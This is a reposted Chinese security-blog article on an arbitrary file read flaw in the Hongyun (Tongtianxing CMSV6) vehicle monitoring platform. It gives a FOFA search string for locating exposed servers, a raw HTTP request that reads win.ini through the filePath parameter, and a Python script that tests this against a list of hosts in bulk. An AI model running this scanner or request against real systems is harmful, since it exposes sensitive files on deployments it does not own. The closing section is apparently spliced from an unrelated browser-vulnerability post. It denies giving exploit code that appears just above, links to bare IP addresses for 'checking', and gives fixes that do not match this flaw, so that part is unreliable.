鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

admin 2024年2月29日13:05:05评论52 views字数 1617阅读5分23秒阅读模式

1、漏洞描述

鸿运主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控,保障IT系统安全、稳定、可靠运行。

鸿运主动安全监控云平台StandardReportMediaAction_getImage存在任意文件读取漏洞,攻击者可利用该漏洞读取系统敏感文件。

2、fofa查询语句

body="./open/webApi.html"||body="/808gps/"

3、影响版本

鸿运(通天星CMSV6车载)主动安全监控云平台

鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

4、漏洞复现

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1Host:User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept: */*Connection: Keep-Alive

鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

5、poc

import argparse
import time
import requests
parser = argparse.ArgumentParser(description='鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for i in f:
            i = i.replace('\n', '')
            send_req("http://"+i)
def send_req(url_check):
    print('{} runing Check'.format(url_check))
    url = url_check + '/808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100'
 
    header = {
        'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
        'Accept': '*/*',
        'Connection': 'Keep-Alive'
    }
 
    try:
        requests.packages.urllib3.disable_warnings()
        response = requests.post(url=url,headers=header,timeout=3)
        if response.status_code == 200:
            print('存在鸿运(通天星CMSV6车载)主动安全监控云平台存在任意文件读取漏洞,请尽快修复漏洞!!!')
 
    except Exception as e:  
        print(e)
        pass
if __name__ == '__main__':
    if file is None:
        print('请在当前目录下新建需要检测的url.txt')
    else:
        get_url(file)

鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

实在太多了,不在一一列举。

由于此漏洞影响国内众多大厂商应用,且未修复,故不提供漏洞利用代码。

可通过以下链接来检测你的应用是否存在此漏洞

http://188.68.220.248/js.svg (国外)

http://43.143.230.199/c.html (国内)

图片

四、漏洞修复建议

1、升级应用内置浏览器版本;

2、用户不要点击陌生链接,防止被攻击

 

原文始发于微信公众号(TKing的安全圈):鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

 

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日13:05:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取https://cn-sec.com/archives/2536289.html

发表评论

匿名网友 填写信息